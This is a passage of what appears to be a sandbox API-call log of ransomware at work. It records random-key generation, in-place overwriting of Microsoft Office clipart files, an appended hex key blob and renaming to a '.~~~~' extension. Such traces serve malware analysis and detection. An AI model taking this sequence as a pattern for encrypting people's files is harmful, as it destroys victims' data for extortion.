	[0112.846] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.846] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.846] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.846] CloseHandle (hObject=0x138) returned 1
	[0112.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.846] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.~~~~")) returned 1
	[0112.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.847] GetLastError () returned 0x0
	[0112.848] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.849] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.849] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.849] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23283925875) returned 1
	[0112.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacdd7290, dwHighDateTime=0x1d60e1e)) 
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830678
	[0112.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830678 | out: hHeap=0x300000) returned 1
	[0112.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833980
	[0112.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.850] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.850] GetLastError () returned 0x0
	[0112.850] GetLastError () returned 0x0
	[0112.850] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.850] GetLastError () returned 0x0
	[0112.851] GetLastError () returned 0x0
	[0112.854] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe984, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.854] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x167c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x167c, lpOverlapped=0x0) returned 1
	[0112.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.855] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.855] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.855] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.855] CloseHandle (hObject=0x138) returned 1
	[0112.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.~~~~")) returned 1
	[0112.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.856] GetLastError () returned 0x0
	[0112.857] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.858] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.858] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.859] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23284878566) returned 1
	[0112.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacdfd3f0, dwHighDateTime=0x1d60e1e)) 
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28306b0
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28306b0 | out: hHeap=0x300000) returned 1
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833a18
	[0112.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.859] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.860] GetLastError () returned 0x0
	[0112.860] GetLastError () returned 0x0
	[0112.860] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.860] GetLastError () returned 0x0
	[0112.860] GetLastError () returned 0x0
	[0112.862] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.862] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x608, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x608, lpOverlapped=0x0) returned 1
	[0112.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0112.863] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.863] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.864] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.864] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.864] CloseHandle (hObject=0x138) returned 1
	[0112.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.~~~~")) returned 1
	[0112.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.865] GetLastError () returned 0x0
	[0112.883] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.884] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.885] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23287477980) returned 1
	[0112.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xace23550, dwHighDateTime=0x1d60e1e)) 
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29bd710
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29bd710 | out: hHeap=0x300000) returned 1
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cfea8
	[0112.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833ab0
	[0112.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.886] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.886] GetLastError () returned 0x0
	[0112.886] GetLastError () returned 0x0
	[0112.886] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.886] GetLastError () returned 0x0
	[0112.886] GetLastError () returned 0x0
	[0112.891] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff9cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.891] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x634, lpOverlapped=0x0) returned 1
	[0112.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.893] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.893] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.893] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.893] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.894] CloseHandle (hObject=0x144) returned 1
	[0112.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cfea8
	[0112.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.~~~~")) returned 1
	[0112.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.895] GetLastError () returned 0x0
	[0112.896] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.897] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.897] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.897] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23288716115) returned 1
	[0112.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xace496b0, dwHighDateTime=0x1d60e1e)) 
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830720
	[0112.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830720 | out: hHeap=0x300000) returned 1
	[0112.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cfea8
	[0112.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833b48
	[0112.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.898] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.898] GetLastError () returned 0x0
	[0112.898] GetLastError () returned 0x0
	[0112.898] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.898] GetLastError () returned 0x0
	[0112.899] GetLastError () returned 0x0
	[0112.901] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8032, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.901] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7fce, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7fce, lpOverlapped=0x0) returned 1
	[0112.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.902] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.902] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.902] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.902] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.903] CloseHandle (hObject=0x144) returned 1
	[0112.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cfea8
	[0112.903] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.~~~~")) returned 1
	[0112.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0112.904] GetLastError () returned 0x0
	[0112.905] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0112.906] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.906] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0112.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0112.906] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23289654341) returned 1
	[0112.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xace6f810, dwHighDateTime=0x1d60e1e)) 
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830758
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830758 | out: hHeap=0x300000) returned 1
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cfea8
	[0112.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833be0
	[0112.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.907] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.908] GetLastError () returned 0x0
	[0112.908] GetLastError () returned 0x0
	[0112.908] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.908] GetLastError () returned 0x0
	[0112.908] GetLastError () returned 0x0
	[0112.911] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffede4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.911] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x121c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x121c, lpOverlapped=0x0) returned 1
